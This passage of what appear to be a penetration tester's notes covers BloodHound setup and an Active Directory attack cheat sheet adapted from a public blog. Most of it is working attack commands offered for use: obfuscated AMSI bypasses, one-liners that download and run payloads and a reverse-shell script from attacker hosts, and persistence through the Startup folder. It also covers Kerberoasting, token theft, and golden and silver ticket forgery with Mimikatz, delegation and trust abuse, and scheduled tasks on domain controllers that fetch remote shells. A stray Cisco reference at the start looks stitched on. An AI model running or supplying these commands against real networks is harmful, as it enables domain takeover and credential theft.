<https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/bsm/command/bsm-cr-book/bsm-cr-n1.html#wp5471302810>

#### REFERENCES

The full NTP Mode 6 specification can be found here: <https://docs.ntpsec.org/latest/mode6.html>


# BloodHound

## Installing BloodHound

It is surprising easy to install bloodhound these days from Kali Linux:

{% code title="attacker\@kali" %}

```csharp
apt-get install bloodhound
```

{% endcode %}

Part of the installation process, neo4j database management solution that is required for BloodHound will also be installed that will need to be configured.

## Configuring BloodHound

Once the installation is complete, we need to configure neo4j - mainly just change default passwords, so let's run:

{% code title="attacker\@kali" %}

```csharp
neo4j console
```

{% endcode %}

and navigate to <http://localhost:7474/> to set up a DB user account by changing default passwords from **neo4j:neo4j** to something else - we will need those credentials when launching BloodHound itself.

## Running BloodHound

{% code title="attacker\@kali" %}

```
bloodhound
```

{% endcode %}

Login with your previously set credentials from neo4j

***

## bloodhound-python <a href="#bloodhoundpy" id="bloodhoundpy"></a>

### How to install

```
sudo apt install bloodhound.py
```

How to Use

```
bloodhound-python -u bob -d evil.corp -p 'Password123' -c all
```

```
bloodhound-python -u bob -d evil.corp -p 'Password123' -c all -dc 192.168.0.1
```

```
bloodhound-python -u bob -d evil.corp -p 'Password123' -c all
```

***

## Bloohound.py

### How to Install

```
git clone https://github.com/dirkjanm/BloodHound.py

cd BloodHound.py/
```

### Usage

```
python3 bloodhound.py -d evil.corp -u bob -p 'Password123!' -c all
```

```
python3 bloodhound.py -d evil.corp -u bob -p 'Password123!' -c all -dc 192.168.1.2
```

{% code overflow="wrap" %}

```
python3 bloodhound.py -d evil.corp -u bob -p 'Password123!' -c all -dc DC1.evil.corp -gc DC1.evil.corp
```

{% endcode %}


# AD Offensive Testing

{% embed url="<https://wadcoms.github.io>" %}

> Notes below taken and edited from <https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/>

### General <a href="#general" id="general"></a>

### ‘Plain’ AMSI bypass example:

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

### PowerShell

#### Obfuscation example for copy-paste purposes:

```powershell
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

#### Another bypass, which is not detected by PowerShell autologging:

```powershell
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
```

> More bypasses [here](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). For obfuscation, check [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation), or get a custom-generated obfuscated version at [amsi.fail](https://amsi.fail/).
>
> #### &#x20;<a href="#powershell-one-liners" id="powershell-one-liners"></a>

### PowerShell one-liners - **Load PowerShell script reflectively** <a href="#powershell-one-liners" id="powershell-one-liners"></a>

#### Proxy-aware:

```powershell
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')
```

#### Non-proxy aware:

```powershell
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
```

### **Load C# assembly reflectively**

Ensure that the referenced class and main methods are `public` before running this. Note that a process-wide AMSI bypass may be required for this to work if the content is detected, [refer here for details](https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/).

```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

### PowerShell - **Download file**

```powershell
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")

# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"
```

#### **Encoded commands**

Base64-encode a PowerShell command in the right format:

```powershell
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

```
echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0
```

### Bash

#### Encode existing script, copy to clipboard:

```powershell
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip
```

### PowerShell

### Run it, bypassing execution policy.

```powershell
Powershell -EncodedCommand $encodedCommand
```

### PowerShell

> If you have Nishang handy, you can use [Invoke-Encode.ps1](https://github.com/samratashok/nishang/blob/master/Utility/Invoke-Encode.ps1).

### Enumeration <a href="#enumeration" id="enumeration"></a>

#### AD Enumeration With PowerView <a href="#ad-enumeration-with-powerview" id="ad-enumeration-with-powerview"></a>

PowerView is available [here](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1).

```powershell
# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn

# Get all computers in the current domain
Get-DomainComputer

# Get all domains in current forest
Get-ForestDomain

# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust

# Get information for the DA group
Get-DomainGroup "Domain Admins"

# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess

# Get OUs for current domain
Get-DomainOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname

# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers

# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier

# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
```

#### AppLocker <a href="#applocker" id="applocker"></a>

Identify the local AppLocker policy. Look for exempted binaries or paths to bypass.

```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

### PowerShell

Get a remote AppLocker policy, based on the Distinguished Name of the respective Group Policy (you could identify this e.g. in BloodHound).

```powershell
Get-AppLockerPolicy -Domain -LDAP "LDAP://targetdomain.com/CN={16641EA1-8DD3-4B33-A17F-9F259805B8FF},CN=Policies,CN=System,DC=targetdomain,DC=com"  | select -expandproperty RuleCollections
```

Some high-level bypass techniques:

* Use [LOLBAS](https://lolbas-project.github.io/) if only (Microsoft-)signed binaries are allowed.
* If binaries from `C:\Windows` are allowed (default behavior), try dropping your binaries to `C:\Windows\Temp` or `C:\Windows\Tasks`. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.
* Wrap your binaries in a DLL file and execute them with `rundll32` to bypass executable rules if DLL execution is not enforced (default behavior).
* If binaries like Python are allowed, use those. If that doesn’t work, try other techniques such as wrapping JScript in a HTA file or running XSL files with `wmic`.
* Otherwise elevate your privileges. AppLocker rules are most often not enforced for (local) administrative users.

#### PowerShell Constrained Language Mode <a href="#powershell-constrained-language-mode" id="powershell-constrained-language-mode"></a>

You can identify you’re in constrained language mode by polling the following variable to get the current language mode. It will say `FullLanguage` for an unrestricted session, and `ConstrainedLanguage` for CLM.&#x20;

```powershell
$ExecutionContext.SessionState.LanguageMode
```

The constraints posed by CLM will block many of your exploitations attempts as key functionality in PowerShell is blocked. Bypassing CLM is largely the same as bypassing AppLocker as discussed above.&#x20;

Another quick and dirty bypass is to use in-line functions, which sometimes works. If e.g. `whoami` is blocked, try the following:

```powershell
&{whoami}
```

#### LAPS <a href="#laps" id="laps"></a>

The permission `ReadLAPSPassword` grants users or groups the ability to read the `ms-Mcs-AdmPwd` property and as such get the local admin password. We can also use PowerView to read the password, if we know that we have the right `ReadLAPSPassword` privilege to a machine.

```powershell
Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd
```

We can also use [LAPSToolkit.ps1](https://github.com/leoloobeek/LAPSToolkit/blob/master/LAPSToolkit.ps1) to identify which machines in the domain use LAPS, and which principals are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.

```powershell
# Get computers running LAPS, along with their passwords if we're allowed to read those
Get-LAPSComputers

# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups
```

### Lateral Movement <a href="#lateral-movement" id="lateral-movement"></a>

#### Lateral Movement Enumeration With PowerView <a href="#lateral-movement-enumeration-with-powerview" id="lateral-movement-enumeration-with-powerview"></a>

```powershell
# Find existing local admin access for user (noisy 🚩)
Find-LocalAdminAccess

# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised
## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet
## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "UserOrGroupToQuery"}

# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
```

#### BloodHound <a href="#bloodhound" id="bloodhound"></a>

Use `Invoke-BloodHound` from `SharpHound.ps1`, or use `SharpHound.exe`. Both can be run reflectively, get them [here](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors). Examples below use the PowerShell variant but arguments are identical.

```powershell
# Run all checks, including restricted groups enforced through the domain  🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩
Invoke-BloodHound -CollectionMethod LoggedOn
```

For real engagements definitely look into the [various arguments](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html) that BloodHound provides for more stealthy collection and exfiltration of data.

#### Kerberoasting <a href="#kerberoasting" id="kerberoasting"></a>

**Automatic**

With PowerView:

```powershell
Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"
```

Crack the hash with Hashcat:

```bash
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
```

### Bash

**Manual**

```powershell
# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"

# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
```

**Targeted kerberoasting by setting SPN**

We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:

```powershell
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}
```

#### AS-REP roasting <a href="#as-rep-roasting" id="as-rep-roasting"></a>

Get the hash for a roastable user (see above for hunting). Using `ASREPRoast.ps1`:

```powershell
Get-ASREPHash -UserName TargetUser
```

#### Crack the hash with Hashcat:

```bash
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
```

**Targeted AS-REP roasting by disabling Kerberos pre-authentication**

Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:

```powershell
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}
```

#### Token Manipulation <a href="#token-manipulation" id="token-manipulation"></a>

Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the ‘Steal Token’ functionality in Cobalt Strike).

**Incognito**

```powershell
# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe
```

If you’re using Meterpreter, you can use the built-in Incognito module with `use incognito`, the same commands are available.

**Invoke-TokenManipulation**

```powershell
# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500
```

#### Lateral Movement with Rubeus <a href="#lateral-movement-with-rubeus" id="lateral-movement-with-rubeus"></a>

We can use Rubeus to execute a technique called “Overpass-the-Hash”. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberost ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.

```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 key (see 'Dumping OS credentials with Mimikatz' section)
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```

Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.

#### Lateral Movement with Mimikatz <a href="#lateral-movement-with-mimikatz" id="lateral-movement-with-mimikatz"></a>

Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as [Invoke-MimiKatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) or [Safetykatz](https://github.com/GhostPack/SafetyKatz). Note that the latter is more stealthy but does not include all functionality.

```
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe

# Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
```

Plaintext

> A nice overview of the SPNs relevant for offensive purposes is provided [here](https://adsecurity.org/?p=2011) (scroll down) and [here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-silver-tickets).

#### Command execution with scheduled tasks <a href="#command-execution-with-scheduled-tasks" id="command-execution-with-scheduled-tasks"></a>

*Requires ‘Host’ SPN*

To create a task:

```powershell
# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"
```

PowerShell

To trigger the task:

```powershell
schtasks /RUN /TN "shell" /s dc.targetdomain.com
```

PowerShell

#### Command execution with WMI <a href="#command-execution-with-wmi" id="command-execution-with-wmi"></a>

*Requires ‘Host’ and ‘RPCSS’ SPNs*

**From Windows**

```powershell
Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"
```

PowerShell

**From Linux**

```bash
# with password
impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101

# with hash
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594

# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k
```

Bash

#### Command execution with PowerShell Remoting <a href="#command-execution-with-powershell-remoting" id="command-execution-with-powershell-remoting"></a>

*Requires ‘CIFS’ and ‘HTTP’ SPNs. May also need the ‘WSMAN’ or ‘RPCSS’ SPNs (depending on OS version)*

```powershell
# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $SecPassword)

# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"
```

PowerShell

#### Unconstrained delegation <a href="#unconstrained-delegation" id="unconstrained-delegation"></a>

Unconstrained Delegation can be set on a *frontend service* (e.g., an IIS web server) to allow it to delegate on behalf of a user to *any service in the domain* (towards a *backend service*, such as an MSSQL database).

DACL UAC property: `TrustedForDelegation`.

**Exploitation**

With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.

With Mimikatz:

```
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi
```

Plaintext

Or with Rubeus:

```powershell
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]
```

PowerShell

We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.

On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.

```powershell
.\Rubeus.exe monitor /interval:5 /nowrap
```

PowerShell

From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from [here](https://github.com/leechristensen/SpoolSample).

```powershell
.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com
```

PowerShell

The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).

```powershell
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
```

PowerShell

#### Constrained delegation <a href="#constrained-delegation" id="constrained-delegation"></a>

Constrained delegation can be set on the *frontend server* (e.g. IIS) to allow it to delegate to *only selected backend services* (e.g. MSSQL) on behalf of the user.

DACL UAC property: `TrustedToAuthForDelegation`. This allows `s4u2self`, i.e. requesting a TGS on behalf of *anyone* to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn’t used between the user and frontend.

DACL Property: `msDS-AllowedToDelegateTo`. This property contains the SPNs it is allowed to use `s4u2proxy` on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using `s4u2self`). This effectively defines the backend services that constrained delegation is allowed for.

**NOTE:** These properties do NOT have to exist together! If `s4u2proxy` is allowed without `s4u2self`, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.

**Exploitation**

In this case, we use Rubeus to automatically request a TGT and then a TGS with the `ldap` SPN to allow us to DCSync using a machine account.

```powershell
# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)
.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
```

PowerShell

#### Resource-based constrained delegation <a href="#resource-based-constrained-delegation" id="resource-based-constrained-delegation"></a>

Resource-Based Constrained Delegation (RBCD) configures the *backend server* (e.g. MSSQL) to allow *only selected frontend services* (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.

DACL Property: `msDS-AllowedToActOnBehalfOfOtherIdentity`.

In this scenario, `s4u2self` and `s4u2proxy` are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the *frontend service*) is present in the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the *backend service*. This means that the *frontend service* needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.

**Exploitation**

If we compromise a *frontend service* that appears in the RBCD property of a *backend service*, exploitation is the same as with constrained delegation above. This is however not too common.

A more often-seen attack to RBCD is when we have `GenericWrite`, `GenericAll`, `WriteProperty`, or `WriteDACL` permissions to a computer object in the domain. This means we can write the `msDS-AllowedToActOnBehalfOfOtherIdentity` property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.

```powershell
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount NewMachine -Password $(ConvertTo-SecureString 'P4ssword123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity NewMachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt
```

PowerShell

#### Abusing domain trust <a href="#abusing-domain-trust" id="abusing-domain-trust"></a>

All commands must be run with DA privileges in the current domain.

Note that if you completely compromise a child domain (`currentdomain.targetdomain.com`), you can *by definition* also compromise the parent domain (`targetdomain.com`) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see [‘Abusing inter-forest trust’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#abusing-inter-forest-trust) below).

**Using domain trust key**

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.

```
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi
```

Plaintext

Pass this ticket with Rubeus.

```powershell
.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt
```

PowerShell

We can now DCSync the target domain (see below).

**Using krbtgt hash**

From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.

Doing this requires the SID of the current domain as the `/sid` parameter, and the SID of the target domain as part of the `/sids` parameter. You can grab these using PowerView’s `Get-DomainSID`. Use a SID History (`/sids`) of `*-516` and `S-1-5-9` to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.

```
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt
```

Plaintext

> If you are having issues creating this ticket, try adding the ‘target’ flag, e.g. `/target:targetdomain.com`.

Alternatively, generate a domain admin ticket with SID history of enterprise administrators group in the target domain.

```
kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt
```

We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.

#### Abusing inter-forest trust <a href="#abusing-inter-forest-trust" id="abusing-inter-forest-trust"></a>

Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:

```powershell
Get-DomainForeignGroupMember -domain targetdomain.com
```

PowerShell

In some cases, it is possible that SID filtering (the protection causing the above), is *disabled* between forests. If you run `Get-DomainTrust` and you see the `TREAT_AS_EXTERNAL` property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can *NOT* forge a ticket for any SID between 500 and 1000 though, so you can’t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to [this blog post](https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/).

To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in [‘Using domain trust key’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#using-domain-trust-key) above.

